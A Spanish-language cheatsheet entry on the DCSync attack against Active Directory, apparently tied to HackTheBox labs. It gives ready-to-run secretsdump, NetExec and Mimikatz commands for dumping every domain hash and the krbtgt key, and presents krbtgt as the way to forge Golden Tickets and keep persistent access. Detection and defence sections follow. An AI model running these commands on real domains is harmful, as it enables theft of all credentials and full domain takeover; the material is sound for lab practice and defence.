DCSync
Arsenal completo de comandos en la cheatsheetDCSync abusa de la replicación de Active Directory para sacar secretos directamente de un Controlador de Dominio, sin ejecutar código en él. Es el broche habitual de una cadena AD: cuando consigues los derechos de replicación, vuelcas los hashes de todo el dominio.
Por qué funciona. Los Controladores de Dominio se replican los datos del directorio entre sí con el protocolo de replicación DRS. Cualquier cuenta a la que se le concedan los derechos extendidos DS-Replication-Get-Changes (GetChanges) y DS-Replication-Get-Changes-All (GetChangesAll) puede pedirle a un DC que replique datos de cuentas, incluidos los hashes NT de cada usuario y la clave de krbtgt. Esos dos derechos son ACEs sobre el objeto del dominio, así que se llega a DCSync encadenando abuso de ACLs (por ejemplo un GenericAll sobre el dominio), y BloodHound dibuja la arista DCSync directamente.
El abuso. Herramientas como secretsdump.py de Impacket o lsadump::dcsync de Mimikatz solicitan la replicación y vuelcan los hashes. Puedes ir a por todo el dominio o a por una sola cuenta:
Desde Linux con impacket, según la credencial que tengamos y qué queramos volcar:
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc # todos los hashes + krbtgt
secretsdump.py <domain>/<user>@<dc-ip> -hashes :<nt-hash> -just-dc # con pass-the-hash
secretsdump.py -k -no-pass <domain>/<user>@<dc-fqdn> -just-dc # con TGT (KRB5CCNAME)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-ntlm # solo NTLM (mas rapido)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-user krbtgt # solo krbtgt (la joya)
secretsdump.py <domain>/<user>:<pass>@<dc-ip> -just-dc-user Administrator # una sola cuenta (sigiloso)Con NetExec en una línea (guarda el volcado en su workspace):
netexec smb <dc-ip> -u <user> -p <pass> --ntds
netexec smb <dc-ip> -u <user> -H <nt-hash> -M ntdsutilDesde un equipo Windows del dominio, con mimikatz (sin tocar disco del DC):
lsadump::dcsync /domain:<domain> /all /csv
lsadump::dcsync /domain:<domain> /user:krbtgt
lsadump::dcsync /domain:<domain> /user:AdministratorVerificación. El hash volcado se valida usándolo: un Pass-the-Hash con el hash de Administrator que abra una shell confirma que el volcado es bueno. El hash de krbtgt es la joya, porque permite forjar tickets (Golden Ticket) y quedarte en el dominio de forma persistente.
Matiz. Hacen falta los dos derechos: GetChanges por sí solo no entrega los secretos, es GetChangesAll el que los añade. Por defecto los tienen Domain Admins, Enterprise Admins y los propios DCs, así que DCSync suele ser el final de la escalada, no el principio. No es ejecución de código en el DC: no deja un inicio de sesión (4624) ahí, por eso es tan sigiloso, pero sí genera acceso al objeto (4662).
Cómo detectarlo. La replicación deja un Event ID 4662 (acceso a un objeto) en el DC cuyo campo Properties incluye los GUID de los derechos extendidos 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (GetChanges) y 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (GetChangesAll). La señal es que ese acceso venga de un principal que no es un DC: los controladores se replican entre sí de forma constante, así que la lista blanca de cuentas de máquina de DC es corta y todo lo demás es sospechoso. En el cable, la llamada RPC DRSUAPI DRSGetNCChanges desde un host que no es DC (visible en Zeek o en un monitor de tráfico) es el mismo evento visto desde la red. Requiere tener auditado el acceso a objetos del directorio (una SACL sobre el objeto de dominio).
Defensa. Audita quién tiene los derechos extendidos DS-Replication-Get-Changes* sobre el dominio y mantenlos fuera de las cuentas normales: solo deberían recaer en los propios DCs y en cuentas de administración de directorio explícitas.
Máquinas donde se aplica
- AdministratorHackTheBox
- ForestHackTheBox
- SaunaHackTheBox